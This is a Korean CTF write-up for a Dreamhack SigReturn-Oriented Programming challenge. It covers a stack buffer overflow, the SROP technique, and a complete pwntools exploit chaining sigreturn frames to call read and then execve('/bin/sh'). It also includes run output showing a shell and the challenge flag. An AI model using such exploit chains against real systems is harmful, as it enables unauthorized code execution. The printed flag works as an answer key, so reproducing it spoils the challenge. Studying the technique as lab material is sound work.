[dreamhack] SigReturn_Oriented-Programming writeup

1. 문제

thumbnail
SigReturn Oriented-Programming

Exploit Tech: SigReturn-Oriented Programming에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/364

2. 풀이

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

간단한 bof 취약점이 존재하는 코드이다. 다만, SigReturn Oriented Programming을 이용해서 풀어야한다.


2.1. SigReturn-Oriented Programming

ROP (Return-Oriented Programming)의 변형 중 하나로서, sigreturn 시스템 콜을 활용해서 레지스터를 제어해서 수행하는 exploit 기법이다.

리눅스에서는 sigreturn을 호출하면 유저 스택에 저장된 레지스터 상태를 복원한다. 따라서 공격자가 위조된 sigframe 구조체를 스택에 넣어 놓고 sigreturn을 호출하면 임의의 레지스터 값을 설정할 수 있다.

즉, 일반적인 ROP처럼 여러 가젯을 조합하지않고도 단 한 번의 sigreturn 호출로 주요 레지스터를 원하는 값으로 설정할 수 있다.

그러나 조건이 좀 어려운데 아래와 같다.

  • 스택에 위조된 sigframe 구조체를 설정할 수 있을 것
  • ROP 가젯 중 pop rax; ret, syscall 가젯이 존재할 것

2.2. srop 동작 과정

주요 동작과정은 아래와 같다.

  • ⁣1. 스택에 위조된 sigframe 구조체 설정
    • sigreturn 호출 시 복원할 레지스터 값 설정
    • ex) rax = system call 번호 (execve: 59, read: 0), rdi = /bin/sh 주소 등
  • ⁣2. ROP 가젯으로 rax = 15 (sigreturn) 설정
    • pop rax; ret 가젯을 사용
  • ⁣3. syscall 가젯 호출
    • rax = 15 상태에서 syscall 가젯을 실행하면 커널은 레지스터를 스택의 sigframe으로부터 복원하여 설정
  • ⁣4. 다시 syscall을 실행하여 원하는 system call 실행
    • ex) execve("/bin/sh", NULL, NULL) 실행

2.3. pwntools의 SigreturnFrame() 함수

다행스럽게도 pwntools에서는 SigreturnFrame()함수가 존재하여 sigframe 구조체 설정을 매우 쉽게 해준다. 아래는 전반적인 동작과정을 포함한 코드 예시이다.

from pwn import *

context.arch = 'amd64'
p = process('./vuln')

# /bin/sh 주소
binsh = 0x601050
syscall_ret = 0x400123       # syscall; ret
pop_rax_ret = 0x400121       # pop rax; ret

# 1. sigreturn frame 생성
frame = SigreturnFrame()
frame.rax = 59               # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

# 2. payload 작성
payload = b'A'*offset
payload += p64(pop_rax_ret)
payload += p64(15)           # 15 = sigreturn
payload += p64(syscall_ret)  # syscall 실행 → sigreturn 호출
payload += bytes(frame)

p.send(payload)
p.interactive()

2.4. exploit 시나리오

코드를 보면 srop를 수행하기 쉽게 gadget()함수에 pop rax; syscall; ret 가젯이 존재한다. 이를 활용하면 srop를 수행할 수 있다.

exploit 시나리오는 아래와 같다.

  • writable한 영역 (bss)에 "/bin/sh" 문자열을 read system call을 통해 쓰기
  • execve system call을 통해 execve("/bin/sh") 실행하기

우선 read 시스템콜에 활용될 sigframe을 스택에 넣기위해 만들어보자.

# read "/bin/sh" on writable bss
frame = SigreturnFrame()
frame.rax = 0   # read
frame.rsi = elf.bss()
frame.rdx = 0x1000  # size
frame.rdi = 0   # stdin
frame.rip = syscall
frame.rsp = elf.bss()

그리고 아래와 같이 payload를 보내주면 sigreturn이 실행되면서 위의 위조한 sigframe이 레지스터에 들어가고, rip의 syscall이 실행되어 read가 실행된다. rspbss 영역으로 설정하는 이유는 그래야 read를 통해 bss영역에 입력할 다음 sigframe을 레지스터에 다시 설정할 수 있기 때문이다. 다시 말하지만 sigreturn스택에 넣어놓은 값을 기준으로 레지스터값을 설정하는 시스템 콜이다.

payload = b"a" * 16
payload += b"b" * 8
payload += p64(gadget)
payload += p64(15)  # syscall(sigreturn)
payload += bytes(frame)
p.send(payload)

이제 execve를 실행하기 위한 sigframe을 새롭게 만들어보자.

frame2 = SigreturnFrame()
frame2.rax = 59          # execve
frame2.rdi = elf.bss() + 0x108    # "/bin/sh" 주소 (sigreturnframe 크기 0xf8 + p64(gadget) (8) + p64(15) (8)
frame2.rip = syscall
frame2.rsp = elf.bss() + 0x500

이게 좀 복잡해서 너무 어려웠다. 우선 rdi에 무엇을 넣어줘야하지? 고민했는데 sigframe의 크기가 애초에 0xf8이라고 한다. 따라서 이 크기 + p64(gadget) + p64(15)를해서 총 0x108 크기만큼 뒤에 "/bin/sh" 문자열이 위치하게 된다.

갑자기 건너뛰었는데 p64(gadget)p64(15)는 두번째 payload에 넣어줄 값이다. 첫번째 payload를 보내어 실행되고 나면, read 시스템콜이 호출되며, 우리는 두번째 payload를 보낼 수 있게 된다.

read 시스템콜이 완료되면 ret가 실행되는데 ret는 현재 rsp가 가리키는 스택의 최상단 값을 pop하여 rip로 로드한다. 이때 rsp는 첫번째 payload에서 bss영역으로 설정해놓았기 때문에 이 위치에 원하는 주소를 가리키는 코드를 넣게 되면 해당 코드를 실행할 수 있다.

즉, gadget 주소를 넣어서 gadget이 실행되도록 하는 것이다. 그러면 다시 한 번 스택에 원하는 레지스터 값을 설정하고 syscall을 호출할 수 있게 된다.

이때도 rip는 똑같이 syscall 주소로 설정하고, rsp는 사실 이제 아무거나 해도되지만 이왕이면 에러나지않게 적당히 써주자.

전체 exploit은 아래와 같다.

from pwn import *

context.arch = "x86_64"
p = process("./srop")
p = remote("host3.dreamhack.games", 23002)
elf = ELF("./srop")

gadget = next(elf.search(asm('pop rax; syscall; ret')))
syscall = next(elf.search(asm('syscall')))

# read "/bin/sh" on writable bss
frame = SigreturnFrame()
frame.rax = 0   # read
frame.rsi = elf.bss()
frame.rdx = 0x1000  # size
frame.rdi = 0   # stdin
frame.rip = syscall
frame.rsp = elf.bss()

payload = b"a" * 16
payload += b"b" * 8
payload += p64(gadget)
payload += p64(15)  # syscall(sigreturn)
payload += bytes(frame)
p.send(payload)

# execve
frame2 = SigreturnFrame()
frame2.rax = 59          # execve
frame2.rdi = elf.bss() + 0x108    # "/bin/sh" 주소 (sigreturnframe 크기 0xf8 + p64(gadget) (8) + p64(15) (8)
frame2.rip = syscall
frame2.rsp = elf.bss() + 0x500

payload2 = p64(gadget)
payload2 += p64(15)  # syscall(sigreturn)
payload2 += bytes(frame2)
payload2 += b"/bin/sh\x00"
p.send(payload2)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/SigReturn-Oriented-Programming$ python3 e_srop.py 
[+] Starting local process './srop': pid 2639966
[+] Opening connection to host3.dreamhack.games on port 23002: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/SigReturn-Oriented-Programming/srop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
$ id
uid=1000(srop) gid=1000(srop) groups=1000(srop)
$ cat flag
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}

진짜 진짜 조심해야할 것. gadget 함수가 있다고 이걸 그대로 리턴함수로 덮으면 함수 시작할 때의 가젯인 push rbp; mov rbp, rsp까지 모두 실행해버리기 때문에 꼭 pop rax; syscall; ret 가젯을 찾아서 하도록 하자… 이것 때문에 좀 삽질했다ㅠ

해결~